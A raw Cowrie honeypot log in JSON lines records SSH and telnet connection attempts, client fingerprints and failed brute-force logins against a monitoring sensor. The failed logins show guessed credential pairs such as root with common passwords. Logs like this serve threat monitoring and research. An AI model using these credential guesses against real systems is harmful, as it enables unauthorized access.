{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:31.369508Z","src_ip":"218.56.160.82","session":"2a0e0cc70ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:31.619193Z","src_ip":"218.56.160.82","session":"2a0e0cc70ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1127","message":"login attempt [root/1127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:32.644376Z","src_ip":"218.56.160.82","session":"2a0e0cc70ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:33.893762Z","src_ip":"218.56.160.82","session":"2a0e0cc70ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":39578,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f397258a824","protocol":"ssh","message":"New connection: 144.91.108.61:39578 (10.17.0.5:22) [session: 3f397258a824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:47.744495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:47.747945Z","src_ip":"144.91.108.61","session":"3f397258a824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:47.839883Z","src_ip":"144.91.108.61","session":"3f397258a824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tezos","password":"Tezos#Cr@zy$P@ss!77","message":"login attempt [tezos/Tezos#Cr@zy$P@ss!77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:48.157842Z","src_ip":"144.91.108.61","session":"3f397258a824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:49.252699Z","src_ip":"144.91.108.61","session":"3f397258a824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42936,"dst_ip":"159.203.135.109","dst_port":23,"session":"3acc0f5557bf","protocol":"telnet","message":"New connection: 137.184.5.188:42936 (159.203.135.109:23) [session: 3acc0f5557bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:49.708220Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52006,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48efc309445","protocol":"telnet","message":"New connection: 170.64.224.25:52006 (159.203.135.109:23) [session: d48efc309445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:50.820730Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36284,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea36a13f9d49","protocol":"telnet","message":"New connection: 170.64.224.25:36284 (159.203.135.109:23) [session: ea36a13f9d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:12.965878Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36442,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4aa35317575","protocol":"ssh","message":"New connection: 91.92.40.4:36442 (10.17.0.5:22) [session: d4aa35317575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:19.914766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:19.918226Z","src_ip":"91.92.40.4","session":"d4aa35317575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:19.998240Z","src_ip":"91.92.40.4","session":"d4aa35317575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"321123","message":"login attempt [test/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:20.244804Z","src_ip":"91.92.40.4","session":"d4aa35317575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:21.327588Z","src_ip":"91.92.40.4","session":"d4aa35317575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":48244,"dst_ip":"10.17.0.5","dst_port":22,"session":"6abf3551d1c4","protocol":"ssh","message":"New connection: 218.56.160.82:48244 (10.17.0.5:22) [session: 6abf3551d1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:27.671526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:27.674911Z","src_ip":"218.56.160.82","session":"6abf3551d1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:27.929413Z","src_ip":"218.56.160.82","session":"6abf3551d1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password4321","message":"login attempt [root/Password4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:28.979890Z","src_ip":"218.56.160.82","session":"6abf3551d1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:30.236096Z","src_ip":"218.56.160.82","session":"6abf3551d1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.94701600074768,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:38.767584Z","src_ip":"170.64.224.25","session":"d48efc309445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.08414626121521,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:17:59.049899Z","src_ip":"170.64.224.25","session":"ea36a13f9d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":45477,"dst_ip":"10.17.0.5","dst_port":22,"session":"3660a101ef97","protocol":"ssh","message":"New connection: 218.56.160.82:45477 (10.17.0.5:22) [session: 3660a101ef97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:25.098643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:25.102007Z","src_ip":"218.56.160.82","session":"3660a101ef97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:25.355774Z","src_ip":"218.56.160.82","session":"3660a101ef97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminnimda","message":"login attempt [root/adminnimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:26.395954Z","src_ip":"218.56.160.82","session":"3660a101ef97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:27.648377Z","src_ip":"218.56.160.82","session":"3660a101ef97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42772,"dst_ip":"159.203.135.109","dst_port":23,"session":"94838d078df0","protocol":"telnet","message":"New connection: 170.64.224.25:42772 (159.203.135.109:23) [session: 94838d078df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:28.801932Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":50420,"dst_ip":"159.203.135.109","dst_port":22,"session":"51683f4e2b3e","protocol":"ssh","message":"New connection: 159.65.58.200:50420 (159.203.135.109:22) [session: 51683f4e2b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:38.291741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:38.608224Z","src_ip":"159.65.58.200","session":"51683f4e2b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:38.610935Z","src_ip":"159.65.58.200","session":"51683f4e2b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shkalov","password":"123456","message":"login attempt [shkalov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:39.421365Z","src_ip":"159.65.58.200","session":"51683f4e2b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:40.688965Z","src_ip":"159.65.58.200","session":"51683f4e2b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":54454,"dst_ip":"10.17.0.5","dst_port":22,"session":"be61ed9d3664","protocol":"ssh","message":"New connection: 80.94.92.55:54454 (10.17.0.5:22) [session: be61ed9d3664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:47.693967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:48.145764Z","src_ip":"80.94.92.55","session":"be61ed9d3664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:48.151754Z","src_ip":"80.94.92.55","session":"be61ed9d3664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00175285339355,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:49.709781Z","src_ip":"137.184.5.188","session":"3acc0f5557bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.50678777694702,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:50.308559Z","src_ip":"170.64.224.25","session":"94838d078df0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:50.847566Z","src_ip":"80.94.92.55","session":"be61ed9d3664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:18:52.315439Z","src_ip":"80.94.92.55","session":"be61ed9d3664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":49054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5bedf549294","protocol":"ssh","message":"New connection: 209.99.190.200:49054 (10.17.0.5:22) [session: f5bedf549294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.387187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.390882Z","src_ip":"209.99.190.200","session":"f5bedf549294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.488637Z","src_ip":"209.99.190.200","session":"f5bedf549294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":18490,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee94a192361","protocol":"ssh","message":"New connection: 218.56.160.82:18490 (10.17.0.5:22) [session: bee94a192361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.678953Z"}
